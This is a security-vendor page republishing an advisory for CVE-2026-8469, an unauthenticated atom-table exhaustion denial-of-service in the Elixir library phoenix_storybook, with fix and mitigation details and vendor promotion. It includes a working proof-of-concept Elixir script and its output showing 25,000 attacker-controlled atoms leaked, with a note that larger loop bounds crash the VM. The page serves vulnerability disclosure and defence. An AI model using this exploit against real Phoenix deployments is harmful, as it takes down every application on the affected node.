Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
💧 Hex
Not in CISA KEV

GHSA-833p-95jq-929q is a CWE-770 vulnerability in phoenix_storybook. O3 Security confirms whether GHSA-833p-95jq-929q is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

PhoenixStorybook: Unbounded atom creation from LiveView event params (atom-table DoS)

Also known asCVE-2026-8469EEF-CVE-2026-8469
Published
Jun 9, 2026
Updated
Jun 9, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-833p-95jq-929q.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs43th percentile — riskier than 43% of all scored CVEsHighest risk
0.00%0.35%0.69%1.04%0.1%0.5%0.5%0.5%Jun 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
💧phoenix_storybook

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Hex packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

  • handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
  • handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
  • to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
  • to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
💧Hexphoenix_storybook0.2.0&&< 1.1.01.1.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phoenix_storybook. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update phoenix_storybook to 1.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-833p-95jq-929q is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-833p-95jq-929q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-833p-95jq-929q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An attacker who can deliver `psb-assign`, `psb-toggle`, `psb-set-theme`, `upper-tab-navigation`, `lower-tab-navigation`, `playground-change`, or `playground-toggle` LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route. Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121
O3 Security · Impact-Aware SCA

Is GHSA-833p-95jq-929q in your dependencies?

O3 detects GHSA-833p-95jq-929q across Hex dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-833p-95jq-929q: phoenix_storybook… | O3 Security